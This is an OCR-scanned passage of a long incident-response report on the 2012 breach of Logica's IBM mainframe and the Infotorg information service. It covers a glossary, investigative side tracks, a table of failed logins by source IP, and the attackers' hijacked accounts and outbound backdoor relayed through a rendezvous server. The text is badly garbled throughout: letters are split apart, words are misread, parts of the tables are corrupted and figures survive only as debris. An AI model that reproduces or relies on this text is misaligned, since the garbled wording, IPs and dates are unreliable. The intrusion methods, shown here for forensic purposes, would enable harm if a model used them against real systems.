trwsr-s r-x l WMCMBAl STCG ROU P  387 Ma r  20 09 :24 

I n  th i s  exa mp l e  the perm iss ion i s  

ku rwal 

Read, write a nd  execute for the owner  {u  id  O, here represented by WMCM BAl)  

Read and execute for the group  mem bers {STCG ROU P)  

Read and execute for a l l  others, a . k . a  "wor ld" .  

Th is  exa mp le  a l  so have the setu id - a nd  setg id-b its set, mean i ng that the user  

who executes th i s  progra m wi l l  tem porar i ly get the perm iss ions gra nted to the 

fi l e  owner  {setu id )  and the group  {setg id )  that the fi l e  be longs to. 

User I D . A n u merica l  va l u e  used i ntern a l ly in USS a nd  U n ix to ma i nta i n  the 

identif icat ion and a uthor izat ion of an l ogged in user. I s  used in cam pa n ian  with 

the U I D  is the G I D, group  I D .  

U id  zero {O) h a s  a speci a l  mea n i ng, a nd  i s  a user  norma l  l y  c a  l i ed "roat" with 

u n restr icted access to a l l  fi l es  and resou rces in U SS .  

U N IX System Servi ces, USS, i s  a n  i nc luded mandatorv com ponent  of  z/OS 

operat i ng envi ron ment used on I B M  ma i nfra mes .  Wh i l e  USS resemb l es U N IX  for 

ma  ny pu rposes a nd  mea ns, same pa rts of it devi ates from norma l U N IX  

concepts a nd  sema ntics. One s u ch  i m  porta nt exa m pl e  i s  t he  su bstitute o f  the 

user a uthenticat ion mecha n i sms .  In  USS IBM have Rep laced the /etc/passwd 

F i l e  with a Ca l l  to RACF or  Othe r  Secu rity Softwa re, eg ACF2 or  CA' s TOP 

SECRET. 

The user  n ame  in RACF a nd  on the Ma i nfra me system SY19 for the user 

Mon ique  Wadsted .  Th is account  were h ijacked and a bused by the perpetrator .  

Wadsted i s  a Swed ish  l awyer that i s  known for her pa rt of the p i  rate bay tr ia l .  

WAS WebSphere App l i cation  Serve r. See WebSphere for more i nformation .  

WebServices U sed  to com m u n icate between com puters over the Web.  

WebSphere WebSphere is a brand  of computer softwa re p rod u cts from I B M  i n  the gen re of 

enterpr ise softwa re known as  " app l ication  a nd  i ntegration  m idd l ewa re", a nd  

t he  bra nd  i s  used for a n u m ber  o f  a p p l i cat ions a n d  p roducts, i n cl u d i ng the 

WebSphere App l ication  Serve r {WAS) .  

WS22 A z/OS system ru n n i ng i n  a l og i  ca l pa rtit i on ,  LPAR, of the  Logi ca ma i nfra me.  

Hosti ng  WebSphere App l i cat ion  Service for App l i cate. 

Wh ite l isting A conceptua l l evel  of protect ion where on  ly p redete rm i ned and betarehand  

a l l owed th i ngs a re perm itted .  Wh ite l isti ng, if  a pp l i ed  to  computer  networki ng 

cou l d  p revent u n a uthorized { i .e .  persons, com puters, p rogra ms )  to be b locked 
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from fu rther actions .  Wh ite l i sti ng was used i n  fi rewa l ls to b lock fu rther access 

to the ma i nfra me .  

WKS Wel l -known Services. Th i s  is a common name  for we l l -known network services 

used on the server s ide  of a TCP/I P environment. 

WWD 

Xa mine 

z/OS 

Zero day 

exp loits 

Serve rs that was used as sca n proxies by ma l ic ious users 

App l i cat ion for generati ng reports, e .g .  reports on CPU usage on  the ma i nfra me .  

Th i s  tool were used to  exa m i ne t he  i n it ia l troub le  report a nd  to  pr int  l i sti ngs of 

CPU usage that ca ught the eye of the Log ica staff. 

z/OS is a Operati ng System environment with with 64-bit capabi l ity that runs on 
I BM zSeries hardware. 

An softwa re vu l nerab i l ity that gets exp lo ited .  And the exp lo i t  as  we i l  as  the 

vu l nera b i l ity is  previous ly u n known, and thus  not m it igated by the vendor or the 

system users .  

zFS z/OS Distri buted Fi le Service zSeries Fi le System . The f i le system used i n  the 

z/OS environment used on IBM mai nframes. lt is  a POS IX-style h ierarchical f i le 

system , com pared to the trad it ional mainframe f i le systems. 
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A s umma ry i s  i nc luded in the begi n n i ng of the docu ment that out l i nes the ma in events 

ha ppen i ng d u  ri ng  the i nc ident .  The s ummary a l so i nc ludes som e ana lys is  of what has  

h appened and  same descri ption  of  consequences .  

Sidan 26 av 574 

Report 

A l a rge n u  m ber of a ppend icies exists that descri be d i ffe rent a reas i n  greater deta i l .  Append ices 

describe d i ffe rent side tracks that had to be eva l u ated du ri ng the i nc ident i nvestigation,  s i nce 

these cou l d  be part of ma  i n  i nc ident un ti l  proven e l se .  Append icies a l so i n c l ude l ogs to Iong  to 

i nc l ude in the ma i n  docu ment. 

Reading instructions 

We recommend  that one sta rt by read i ng the rather  extens ive s ummary. Togethe r with 

read i ng the s umma ry, one shou l d  browse the d i cti ona ry to get aqu i nted with the voca bu l a ry of 

IT secu rity and ma i nfra me tech no logy. 

A Iot of i nformat ion is shatte red a l l  ove r the docu ment, thus  a l og of cross refe rences a re added 

to  the text to he l  p where other  re levant cha pters a re to be found .  

Certa i n  va l ues a nd  keywords re-occur  a Iot .  For  exa m p le  t he  dataset prefix E897, wh i ch  i s  used 

to determ ine  the customer  "App l i cate", i s  a p iece of key i nformat ion that wi l l  po p up seve ra l 

t imes i n  l ogs a nd  text. User  accou nts such as  N U S  (on  SYS3) or BSNOOSS or  AVIY356 (on SY19) 

a re frequent ly referenced in the text. 

To enha nce da rity a i i i P-ad resses that by I B M  systems  a re reported in H EX format has  in th i s  

report been  tra ns l ated i nta deci ma l  format .  

Log extracts 

The docu ment  conta i n s  a l a rge n u m ber  of extracts from system l ogs, app l i cat ion  l ogs, secu rity 

logs, etc. These extracts a re orig i nat ing from va r ious l ogs created on  

• the ma i nfra me 
• i n  the fi rewa l ls 

• othe r  servi ces, such as  the web serve rs be long ing to the i nfotorg service. 

Ma ny of these l og extracts a re shown in the ma  in docu ment. Same comp l ete l ogs or  l i sts a re 

attached as  a ppend ic ies to the docu ment or  ava i l a b l e  as  sepa rate fi les .  

In  the log extracts there a re often one  or  more keywords, lP  add resses, dates, fi l e  s i zes or  

s im i l a r  that  one  shou ld  nate. These specific i nformat ion of  i n terest a re often ma rked i n  one  or  

more ways - norma l  ly the fant s i ze  is  b igger, they a re written i n  bo ld  a nd  i n  same cases, they 

a re ma rked with a ye l l ow co lou r  ma rker . 
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Session logs a re l ogs created on the campute r of the perpetrator. These l ogs where made 

ava i l a b le  to  us from the i nvestigati ng po l i ce as  a means to  verify the activit ies performed by 

the perpetrator. 

The sess ion logs come from progra ms, such as 

• putty that is used for remote access . Putty i s  a ss h (secu re s he l l )  c l i ent .  
• She l l  h i story fi les  from the l oca l s he l l  used on the perpetraters mach i ne .  

Work 

The majority of the i nc ident h and l i ng work was performed du ri ng the per iod March - Apri l  

2012, with farens ic  work a nd  work related t o  ass ist t h e  i nvesti ngati ng po l i ce a nd  docu ment ing 

the i nc ident cont i n ued to the a utu m n  of 2012 .  

A l l the work performed whi le  assess ing the ma i nfra me partitians  were performed with the 

"a ud itor" RACF a uthorizat ion,  wh ich meant that we had  extended access to read every fi le ,  but 

we had no  possi b i l ity to cha nge fi l e  content or  fi l e metadata . 

M uch of the work was performed on off- l i ne  com puters where l ogs we re a na lyzed a nd  l og 

events were corre l ated . 
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Th i s  docu ment descr i bes a major  i nc ident that i nvolved severa l systems, i n cl u d i ng systems 

ru n n i ng i n  l ogica l pa rt it ians  of  a n  I B M  ma i nfra me .  The  i nc ident occu rred d u  r ing the wi nter 

2012 .  

Th i s  docu ment descr ibes a major  i n ci dent that i nvolved severa l systems, i n cl u d i ng l ogica l 

pa rt it ians i n  a n  I BM ma i nfra me .  The i nc ident occu rred d u ri ng the wi nter a nd  spr ing 2012.  The 

attacks where fou nd  in the begi n n i ng of Ma rch, but wh i l e  sta rti ng to i nvestigate the i ntrus ion,  

the sta rt ing po int  cou l d  be backtracked to at !east 251h of Februa ry. 

Logi ca i s  a sourc ing p rov ider  that p rovides i n frastructu re servi ces, such as  I B M  ma i nfra me a nd  

PC  server p l atforms, software serv ices such as  data base su bsystems a n d  softwa re i ntegrat ion 

and fi le  ma nagement, and network i nfrastructu re . 

App l i cate is a customer  to Log ica ,  a nd  l nfotorg i s  a customer  to App l icate. App l i cate a nd  

l nfotorg p rovide i nformat ion broke rage a nd  i nformat ion serv ices to  th i rd pa rt ies .  These th i rd 

pa rt i es, wh ich a re customers to App l i cate, i nc l ude govern ment agenc ies, com pan i es, etc. 

Before descri b i ng  the tech n i ca l  deta i l s  of the 2012 i nc ident, there i s  a short i ntrod uct ion  to 

two o lder, but p roba bly re l ated, i nc idents. 

Logica activities 

The fo l l owing time I i n e  i s  a descr i pt ion  of some of the p retext from i nc idents ha ppen i ng 

before, a nd  the ear ly  act iv it ies i n  the begi n n i ng a nd  m id Ma rch, before a m uch broader  

i nvestigat ion was sta rted . 

Timeline for the 2 0 1 2  incident 

The ti me l i ne  for the 2012 i nc ident i s  descr ibed in the "Append ix  A :  Deta i l ed t i me l i ne" page 

166. 

Side tracks and other concurrent malicious activities 

When the ma  i n  i nvestigation  sta rted,  there where a Iot of u n ce rta i nt ies on what pa rts where 

com prom i sed or  wh i ch, potent i a l ly other  systems where i nvolved i n  the i n cident. Thus the  re 

have been a n u m ber  of d i ffe rent s ide  tracks d u ri ng the ma  i n  i nvestigation .  Th is  l isti ng show the 

ma i n s ide act iv it ies 

• WWD. The WWD server was found  to sca n serve rs on the I nternet. Th i s  was done 

d u  r ing the sa me  per iod of  t i me  when the i nc ident w i th  the ma i nfra me occu rred .  There 

was a susp ic ion that the two events m ight be i nterre l ated .  
• Ra indance.  A bus iness back-end  system and  a serv ice p rovided by Logica ,  ava i l a b l e  as  a 

web service. Th i s  system had  some form of com prom i se, as descri bed be low. 
• Sca p0023 a l so known as  www.wmdata . * ( i . e .  we b pages for the p revious  company 

name  i n  var ious top l eve! doma in s  e .g  . .  SE, .COM, . D K  or  . N O) 
• lnfotorg The i nfotorg web servers a nd  accompa ny ing  serv ices .  
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• The 166 Appl icate DMZ servers . Although not identif ied as i nfected or  hacked servers, 

it was decided that a l l  app l i cate systems on the DMZ shou ld  be sea n ned to see if they 

where hacked . 
• Ma lwa re. Other  orga n isations  where attacked with d i rected ma lwa re attacks . If these 

attacks had a ny strong re l at ions to the a ctua l  hack ing i n cident, this i s  not com p letely 

c lea r at th is moment. 
• FTP hotel .  A specific check where performed of the Logi ca FTP hote l ,  even if we d i d  not 

have a ny i n d ications that the FTP hotel  where i nva lved i n  the i nc ident .  
• Credit ca rd theft . As a s ide effect of the brea k i n, same of the ma  ny fi l es that where 

ta ken a l so conta i ned cred i t  ca rd i nformation .  Th us a sepa rate activity to i nvestigate 

the cred it  ca rd data theft where i n it iated .  
• The DB2 track. We saw traces i n  fi rewa l l l ogs mak i ng us be l i eve that the DB2 

data bases on the ma i nfra me had been remote ly  accessed . 
• The MQ track. We saw traces i n  fi rewa l l l ogs m a ki ng us be l ieve that the MQ message 

queue ing  and i nformat ion tra nsfer serv ice on the ma i nfra me had been remote ly 

accessed .  
• All  oth er  Mainfra me partitions. One s ide  track wh ich was i ntrod uced a s  a req uest 

from the po l i ce secu rity deta i l  was to check a l l  other  pa rtit ians  for s igns of a ny 

i ntrus ion .  

Ou r i nvestigation  have revea led seve ra l  concu rrent m a l ic ious activit ies, same of  wh ich see  m to 

be u n re l ated and  u nsofist icated, more bea ri ng the s ign of brute-force password guess i ng  or  

usage of  sta nda rd too l s  to  perform attacks without a ny  i ns ider  knowledge. 

WWD 

For deta i l ed  i nformat ion on th i s, see "Append ix  X: WWD i nvestigative s ide track" page 532 .  

Raindance 

For deta i led i nformat ion on th i s, see "Append ix  W: Ra i nda nce i nvestigation  s ide track" page 

531 .  

SCAP 0 0 2 3  f www.wmdata. * 

The SCAP0023 server i s  a server hosti ng web pages for Logica, not the i r  customers .  The web 

pages and the doma ins  associated with that system i s  to h ost a l egacy we b for one of the 

previous  com pa ny na mes and  campan ies that m a ke up the current  Logica compa ny. The o ld 

com pany was name "WM-Data" .  

For deta i l ed  i nformat ion on  th i s, see "Append ix  Y :  SCAP0023 l www.wmdata . * i nvest igative 

s ide track" page 533 .  

T h e  166 Applicate D M Z  servers 

On the DMZ network where App l i cate have the i r  i nfotorg servi ce, there a re a nu m ber of 

systems l ocated .  Accord ing  to Log ica there a re 166 servers on that network, i nc l ud i ng the  

i nfotorg web ( itweb) servers. These systems a re ru n n i ng Windows, Li nux  a n d  va r ious vers ions  

of  U n ix  (SunOSISo l a ris, H P-UX) .  l t  was decided with Log ica a nd  App l i cate that these servers 

shou l d  be i nvestigated, even if there where no evidence or i n d ication  that these systems 

where i nvalved i n  the ma in  i n cident .  
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RO MAB togethe r with a secu rity officer from Logi ca com pi led a document descri b i ng  the 

tech n ica l contro ls  a nd  a reas of  i nterest to be check to co l l ect i nformat ion i n  a way to be ab l e  

to  assess t he  status o f  the systems .  

The ma i l  w i th  the docu ment descri b ing  the i nformat ion to be co l l ected where ma i l ed to Logica 

staff (Wi ndows, Li n ux a nd  U n ix system a d m i n i strators) on the 261h of March .  They performed a 

su rvery and  genera l  i nvestigat ion of these systems .  

By  the 2nd of  Apr i l ,  staff have s u rveyed a l l  systems and reported back to a Logica secu r ity 

offi cer . None of these s u rveyed systems where found  to be com prom ised 1 • 

FTP hotel 

S ince the ma i n  i nc ident i nvalved attacks performed via the FTP servi ce, there was a n  add it iona l  

check  of  Logi ca '  s FTP h ote l ,  to doub le  check if  that service where i nvalved or  have h a  d a 

com p romise .  Th is  service had  not showed a ny s igns of be ing comp rom ised or  m i sused,  but as  a 

p reea utian  th i s  was checked as  we i l .  

Logkas secu rity office rs performed checks without a n y  spefide fi n d i ngs o f  m a l ic ious activit ies 

i nvalvi ng this i nvestigation .  As a resu l t  of this genera l  assessment, the re where som e 

add it ion a l  secu rity en ha ncements done to the fi rewa l l  setu p to p roteet the FTP service .  

DB2 track 

A DB2 speci a l ist was ass ign a speci a l  tas k  to i nvestigate both a l l  i nsta l l ed  DB2 i n sta nces i n  the 

ma i nfra me as wei l as  i nvestigati ng the l ogs to see if a ny una uthorized activit ites had  been 

performed .  The DB2 speci a l ist reported that  no  m a l ic ious activit ies were found .  

M Q  track 

A MQ speci a l ist was ass ign a speci a l  tas k  to i nvestigate both a l l  i n sta l led MQ q ueues in the 

ma i nfra me as wei l as  i nvest igat ing the l ogs to see if a ny una uthor ized activit ites had  been 

perform ed .  The MQ speci a l ist reported that no m a l ic ious activit ies we re found .  

Malware 

A sepa rate activity was to identify that d i rected ma lware attack that we where notif ied 

ha ppened towa rds one of the othe r  orga n isations  that where i nvalved in the i nc ident .  

For more i nformat ion,  see l/Append ix Z :  Ma lwa re i nvestigative s ide track" page 534 

Credit card theft 

S i nce some of the datasets a nd  fi les down loaded by the perpetraters conta i ned cred it ca rd 

i nformat ion,  a sepa rate action  was to centact the cred i t  ca rd com pa ny. Wh i l e  cred it ca rd 

i nformat ion was obta i ned by the attackers, there i s  no rea l  evidence that show that th i s  

actions, to  stea l fi nanda  l or  cred it  ca rd i nformat ion,  was pa rt of  the objectives of the attackers. 

The credit ca rd i nformat ion was in tem pora ry fi l es - that was used by a fi l e tra nsfe r 

mecha n i sm - that happened to be i n  a d i rectory i n  the ma i nfra me  at the t ime when the 

perpetraters cop ied fi l es  from that pa rt of the fi l e  system .  

1 Ra inda nce a n d  SCAP, which a re covered e l sewhe re i n  th is  report, a re not i nc luded  i n  the n u m ber " 166 
servers" 
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For deta i led i nformat ion, see "Append ix AA: Credit ca rd theft i nvestigative s ide track" page 

535 .  

Investigation of all  mainframe partitions 

Beforeha nd,  we had no evidence or  traces of a ny ma l ic ious activit ies in a ny of the other  

partit ions .Sti l l  we spent same prec ious t ime to i nvestigate a ny fi l e  modificat ions  done, o r  

presence of  new progra ms or  fi les  i n  a ny of  the other ma i nfra me partit ions .  

SY19 and  SYS3 a re the on ly  two systems with  I nternet con nectivity. A l l  other  ma i nframe 

part itians  a re not reachab l e  from the I nternet. 

After this work was perform ed, the re where sti l l  no evidence that a ny of the other  ma i nfra me 

part it ion where eve r touched or  reached by the  perpet rators . 
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I n  the i nfotorg serv ice the perpetraters performed sea rches re l ated to persons,  com pan i es, 

ca rs, etc. Deta i l s  re l ated to a person'  s economic  status etc ca n be retr ieved .  

The  user  BSN0058 where used  i n  a n  ea r ly stage to  perform una uthor ized log i ns  to  the  i nfotorg 

service. Beside th i s  i n it ia l  user, a l a rge n u m ber  of other  user's accou nts have a l so been used to 

access the i nfotorg serv ices .  

The unauthor ized a ccess to the i n fotorg web services were performed in pa ra l l e l  with the 

una uthor ized access to the ma i nfra me .  The i nfotorg access conti n ued, perha ps even i ncreased, 

after the access to the ma i nfra me  where b locked as  a resu lt of the i n cident response and  

ma i nfra me secu rity enha ncements. One reason why  the  access to  t he  i nfotorg web  was 

poss i b l e  i s that the lO,OOOs of customers with l a rge n u m bers of da i ly  accesses cou l d  not as 

eas i ly  be screened or  b locked in the sa me way as the network b lock ing and  the lock down of 

the ma i nfra me .  

F rom we b serve r logs, it i s  evident  that  h a rvested accou nts have been used  to log i n to  i n fotorg 

a numerous t imes .  

Enumeration of users 

One activity performed by the attackers was to co l l ect i nformat ion on the actua l  users with 

access to the system .  Th is  was done in a way by enume rate users with system level access. We 

be l ieve that the a ttackers have done severa l act iv it ies to enumerate and ha rvest user a n d  

account i nformation .  l t  i s  not e l  e a r  from t h e  i nformat ion that w e  have a t  h a n d  i f  the sto l en  

i nformat ion on ly  i nc luded genera l  account i nformat ion o f  i f  it a l so i nc l uded passwords fo r 

users .  

There is  some form of a uthorization  matrix bu i lt i nto the  i nfortorg app l i cat ion  where d iffe rent 

users have d iffe rent access . The user account used i n it ia l ly, BSN0058, had a uthori zation to 

sea rch for a lmost a rbitra ri ly user accou nts. 

Access to mobile version of infotorg we b services 

D i rect access from mob i l e  devi ces as  we i l  as  access from so ca l l ed "a pps" . When i n specti ng 

usage pattern i n  l ogs, it was poss i b l e  to determ i ne  fra udu lent access to i nfotorg by a n u m ber  

of  d iffe rent users .  

Severa l of  these users where systematka l ly sea rch i ng for i nformat ion on certa i n  persons,  etc. 

Access to mainframe 

Access to the ma i nfra me have been made poss i b le by the ava i l ab i l i ty of com mon network 

p rotoco l s  (e .g .  ftp ) as  we i l  as  the fact that the fi rewa l l s p rotect ing the ma i nfra me have been 

too l i bera l  ly configured .  

In  genera l  access ca n be performed by us i ng :  
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Havi ng access to the ma i nfra me, there i s  a question  what ca n be done .  Th is  i s  restricted by 

th i ngs l i ke 

• Access r ights of the user that have been h ijacked 

• Access r ights on  system resou rces 

I f  the system resou rces a re we i l  protected and  the h ija cked user had  a l i m ited access r ight, 

then  the secu rity wi l l  ho l d .  There a re exa m p l es when,  for exa mp l e, same fi l es a re too open ly 

ava i l a b le  by not be i ng p rotected .  The re a re a l so exa m p les of when the perpetrators have 

h ij acked accou nts with wide access r ights .  

Attack attempts 

F rom fi rewa l l  l ogs, ftp l ogs, web server l ogs a nd  other  logs we ca n dete rm i ne  that there has  

been  a systemat ic work  to ga i n  access to  a ccou nts a nd  network based system services 

p rovi ded by e ither the ma i nframe or by othe r  serv ices .  

l . · � _ _ _ .. · - ·  l l -
-..;:-

!!! .--.;;::-.._ __ CN_. . KB 

t • 

- - -

� -

_ _ :.=,_ 

·· - �  SB 

Figure l Overview of attack attem pts 

As ca n be seen from the ta b le  be low, there has  been a n u m ber  of attem pts from var ious 

sou rce lP  add resses d u ri ng the t i me per iod were the i nc ident i s  known to have ha ppened 

N u mer  of 
Date Sou rce lP add ress 

Add resses known to 
fa i l ed l og i ns  be used in  the attack 

3330 2012-03-15 221 .231 . 140. 139 
2181 2012-03-14 221 .231 . 140. 139 
2160 2012-03-03 222 .80. 184.50 
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2159 2012-03-06 
2058 2012-03-02 
1180 2012-03-22 
1169 2012-02-19 
986 2012-02-07 
878 2012-02-03 
626 2012-02- 12 
261 2012-03-26 
92 2012-03-23 
72 2012-02-23 
42 2012-03-07 
32 2012-02- 15 
27 2012-02-12 
23 2012-03-23 
23 2012-02-14 
20 2012-03-10 
16 2012-03-08 
13 2012-03-16 
11 2012-Q3-10 
10 2012-03-22 
9 2012-03-21 
9 2012-03-14 
8 2012-03-15 
8 2012-02-27 
8 2012-02-19 
7 2012-03- 19 
7 2012-03-10 
6 2012-03-23 
6 2012-02- 17 
5 2012-03-26 
5 2012-03- 14 
5 2012-03-13 
s 2012-03-10 
5 2012-02-24 
5 2012-02-02 
4 2012-03-23 
4 2012-03-21  
4 2012-03-20 
4 2012-03-19 
4 2012-03- 16 
4 2012-03- 15 
4 2012-03-14 
4 2012-03-06 
4 2012-03-04 
4 2012-02- 15 
4 2012-02- 13 
3 2012-03-22 
3 2012-03-21 
3 2012-03-20 
3 2012-03-19 

219. 134.89. 204 
222 .80. 184.50 
218.240.23 . 102 
218.76 . 128 . 135 
91 .233 .20. 206 
85. 176. 142 . 238 
79 . 1 17. 149 .74 
193. 234. 142 . 188 
193.234. 142 . 188 
201. 224. 255 .4 
201. 224. 255 .8 
41 .250 .72 .56  
192 . 165 .75 . 165 
202 . 120. 189 .223 
194.71 . 131 . 194 
203 . 176. 141. 205 
46.59 .51 . 181  YES 
217 . 150. 174.80 
194.23 .61 . 151  YES 
202 . 120. 189 . 223 YES 
195 . 198. 26 .66 
88.80. 180 .50 
93 . 186. 170. 54 
85 . 24. 2 14.58 
88.208 .229 .205 
217 . 78.47 . 239 
93 . 186. 170.54 YES 
147 . 156 .0 .81 
62 . 1 19 . 151 .235 
195 . 67 .88 .222 
192 .71 .4 .90 
194.22 . 220.27 
27 .109 . 118 .33 YES 
193 . 15 .201 .247 
90. 130.66.4 
195 . 67 .88 .222 
111 .92 .242 . 65 YES 
93 . 186. 170.54 YES 
95 .208 .234.47 
195 . 67 .88 .222 
212 .28 .207. 138 
194. 22 . 220.27 
46.59 . 51 . 181  YES 
178. 174. 180. 144 YES 
81 .92 .64. 133 
93 . 158. 1 15 .4 
195 . 198 .26 .66 
217 . 1 15 .61 . 80 
46.59 . 19. 1 14 YES 
93 . 186. 170.54 YES 
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3 2012-03-16 
3 2012-03-13 
3 2012-03-07 
l; ·/;, 
3 2012-02-22 
3 2012-02-07 
3 2012-02-07 
3 2012-02-01 
2 2012-03-26 
2 2012-03-26 
2 2012-03-21  
2 2012-03-19 

2 2012-03- 19 

2 2012$16_ ' . . 

2 2012-03-16 

2 2012-03-15 
2 2012-03-14 
2 2012-03- 11  
2 2012·03·10 
2 2012-03-08 
2 2011� ::,;--
2 2012-03-07 
2 2012-03-06 
2 2012-03-04 
2 2012-03-04 
2 2012-03-02 
2 2012-02-28 
2 2012-02-28 
2 2012-02-28 
2 2012-02-28 
2 2012-02-23 
2 2012-02-23 
2 2012-02-21  
2 2012-02-07 
2 2012-02-07 
2 2012-02-07 
2 2012-02-07 
2 2012-02-06 
2 2012-02-04 
2 2012-02-02 
2 2012-02-02 
2 2012-02-02 
2 2012-02-01 
l 2012-03-27 

109 .73 . 10 . 10 
109 .73 . 10. 10 
95 . 163 .83 . 152 

lft, '''· -:w.o ...- : · :.,' :., �· ·o-_ 
88.80. 166. 10 
83 . 174. 103 . 133 
194. 103 .93 .2  
83 . 174.93 . 164 
83 . 174 .93 . 164 
164.9 .45 . 100 
202 .75 . 55 . 243 
85 . 1 19 . 132 .236 

Accou nt 
"WMCMBAl" used 

127 .0 .0 . 1 twice to try to log i n 
to SV19. WMCMBA 

is a u id O account 

9ll86 . 170.54 ..
. YES '' '·· 

H ijacked account 
127 .0 .0 . 1 "N US" used twice to 

try to l og i n to SV19 

194.22 . 220 .27 
83 . 174.93 . 164 
62 . 1 19 . 151 . 235 
124.248 . 187 . 150 VES 
10.46. 162 . 18 
-46 .59 . 5 1 . 181  : • m 
24. 170. 161 . 139 
178 , 18 . 243 . 27  VES 
85 . 228 .54 .229 
46 .59 . 5 1 . 181  VES 
217 . 150. 177 .70 
85 . 1 19 . 132 .236 
217 . 150. 177 .89 
143 .97 .2 . 35  
10 .66 . 12 .93 
62 .0 . 1 11 . 205 
192 . 150 .72 .76  
217 . 150. 177. 133 
62 . 1 19 . 151 . 235 
217 . 150. 177 . 133 
212 .201 . 73 .97  
193 . 234. 142. 188 
10.46. 162 . 18 
93 . 186. 170.54 VES 
87. 1 18 . 220. 1 
83 . 174. 93 . 164 
193 . 234. 142 . 201 
85 . 224. 232 .217  
85 . 24. 2 14 .58 
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l 2012-03-26 
l 2012-03-26 
l 2012-03-22 
l 2012-03-22 
l 2012-03-22 
l 2012-03-21 
l 2012-03-21  
l 2012-03-20 
l 2012-03-20 
l 2012-03-20 
l 2012-03-20 
l 2012-03-19 
l 2012-03- 19 
l 2012-03-19 
l 2012-03-19 
l 2012-03- 16 
l 2012-03-16 
l 2012-03-15 
l 2012-03- 14 
l 2012-03-14 
l 2012-03-13 
l 2012-03- 13 
l 2012-03-13 
l 2012-03-11  
l 2012-03-09 
l 2012-03-09 
l 2012-03-08 
l 2012-03-08 
l 2012-03-06 
1 2012-03-05 
l 2012-03-05 
1 2012-03-05 
l 2012-03-04 
l 2012-03�03 
l 2012-03-01 
l 2012-03-01 
1 2012-03-01 
l 2012-03-01 
l 2012-03-01 
l 2012-02-28 
1 2012-02-25 
1 2012-02-24 
l 2012-02-23 
l 2012-02-21  
l 2012-02-21  
l 2012-02-21  
l 2012-02-21  
l 2012-02-21  
l 2012-02-21  
l 2012-02- 19 

85 . 1 19 . 132 .236 
195 . 198.26 .66 
62 . 1 19 . 151 . 235 
217 . 13 . 234. 26 
164.9.45. 100 
217 . 150. 177.75 
195.67 .88 .222 
212 .247. 164. 180 
194 .71 . 244. 13 7 
194. 22 . 220.27 
193 .221 .59 . 254 
DAFAS 
85 .225 .241 .244 
62 .119 .151 .235 
10 .66 .29 .87 
62. 1 19 . 151 .235 
10.46. 162 . 18 
217 . 150. 174.80 
195 .67 .88 .222 
193 . 111 . 107. 249 
83 . 174. 103 . 247 
62 . 1 19 . 151 .235 
137 .59 . 254. 161 
217 . 150. 177.75 
212 .247. 164. 180 
192 . 168 .2 . 1 
217 . 150. 179. 185 
137 .59 . 254. 161 
46.50. 183 . 5  
46.59 .51 . 181 YES 
137 .59 . 254. 161 
124. 248 . 187. 22 YES 
46.50. 183 . 5  
46.50. 183 . 5  
217 . 150. 177. 133 
193. 180.9 .6  
178 . 18.243 .27  YES 
164.9 .45. 100 
140 .166 .209 . 228 
81 .201 .212 . 178 
178 . 18 .243 .27 YES 
124. 248. 187 . 225 YES 
85 . 1 19 . 130. 132 
83 . 183 .244.40 
81 .8 . 166. 130 
212 .93 .39 .39 
212 . 181 . 128. 197 
194 .71 .244. 137 
137 .59 . 254. 161 
62 . 1 19 . 151 . 235 
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l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 
l 

2012-02-17 193 .34.40 .33 
2012-02-16 83 .137 .8 .3  
2012-02-13 85 . 1 19 . 130. 132 
2012-02- 13 212 .247 . 164. 180 
2012-02-13 193. 234. 142 . 188 
2012-02-12 78. 108. 15 .34 
2012-02- 10 83. 174. 103 .55 
2012-02-09 93 . 158. 115 .4  
2012-02-09 193 . 14. 166 .34 
2012-02-09 10.46. 170.20 
2012-02-08 192 . 168 . 2 . 1  
2012-02-07 194. 16. 175 . 140 
2012-02-06 193 . 14. 166 .34 
2012-02-03 83 . 174. 103 . 250 
2012-02-02 212 .209. 144. 18 
2012-02-02 193 . 14. 166 .34 
2012-02-02 10.46. 162 . 18 
2012-02-01 62 . 1 19. 151 .235 

Table l N u  m ber o f  fa l led logm attempts per d a y  per l P  address 
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As ca n be seen from the l i st a bove, wh ich cover the pe riod 2012-02-01 to 2012-03-26 there a re 

ma  ny thousa nds  of unsuccessfu l attem pts. Du r ing the sa me per iod, there were a l so a l a rge 

n u m ber of successfu l attem pts. 

The fo l lowing  com mand  was used to generate the tab l e .  

egre p - h  LOG N  TCP _FTP _SE RVER_T _SV* l awk -F\; ' {pri ntf( "%s %s\n ",  $1, $27) ;} '  l sort l u n i q -c l sort -rn 

Figure 2 Command given to campile l ist of fa i led login attempts 

Successful attacks 

Not on ly attem pts where performed,  but  a l l these tests resu lted i n  successfu l camp ram ises a s  

we i l .  Campramises were performed from seve ra l hasts i n  Sweden,  Germa ny, Ca m bod ia ,  Korea, 

etc. A gra ph i ca l  overview is seen in the next p icture .  
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Figure 3 Overview of successful attacks towards the mainframe 

In this p ictu re we do not show: 

• Al l  successfu l accesses 
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• Other  types of accesses than  i nteractive l og i ns .  For exa m p le, the fi l e tra nsfers a re 

p rov ided i n  a sepa rate p icture .  

l t  shou ld  be noted that i n  th i s  p ictu re, we show two d i ffe rent types of  access 

• l nte ractive access v ia e .g .  te i net or ssh 

• U p loads of attack too l s  

Same attack too ls  have been recovered but same too l s  have u nfortu nate ly bee n de leted by 

the perpetraters or been de leted by system staff i n  a n  ove r ly sweep ing attem pt to recover free 

s pace from one of the system d i sks that where fi l l ed up by the attackers activit ies .  l t  shou l d  be 

noted that  th i s  occu rred at a t ime when not a l l  system staff where awa re of the  ongoi ng 

attacker act iv it ies .  

Access to mainframe through backdoor 

After ga i n i ng i n it i a l  access, at !east same percentage of a l l  access to the ma i nfra me where 

conducted v ia speci a l ly i n sta l l ed  backdoor services. Same softwa re i nsta l led on  the ma i nfra me 

were used  by  the perpetratar to  ga i n  access th rough a network backdoor .  These backdoors 

where up l oaded onto the SY19 a nd  SYS3 pa rtitions .  

The backdoor p rogra m sent  network traffi c from the ma i nfra me outbound  towa rds a ra ndez 

vous server. At same l ater po int  i n  t i me, the perpetratar wou l d  use a specifi c com m u n icat ion 

progra m, d i scovered to be "a ptc l i "  to esta b l i sh  a con nect ion to SY19 rel ayed th rough the 

ra ndez vous server. 

Th is setu p wi l l  h ave same major adva ntages for an attacker, such a s :  

• Non-sta nda rd l ogi n, wh ich bypasses the norm a l  a uthe nt icat ion  p rocess 
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• An outgo ing network setu p, wh ich bypasses many com mon fi rewa l l  setu ps 
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• Mitigation attem pts, l i ke b locki ng norm a l  networki ng protoco l s  such as te i net, ftp etc 

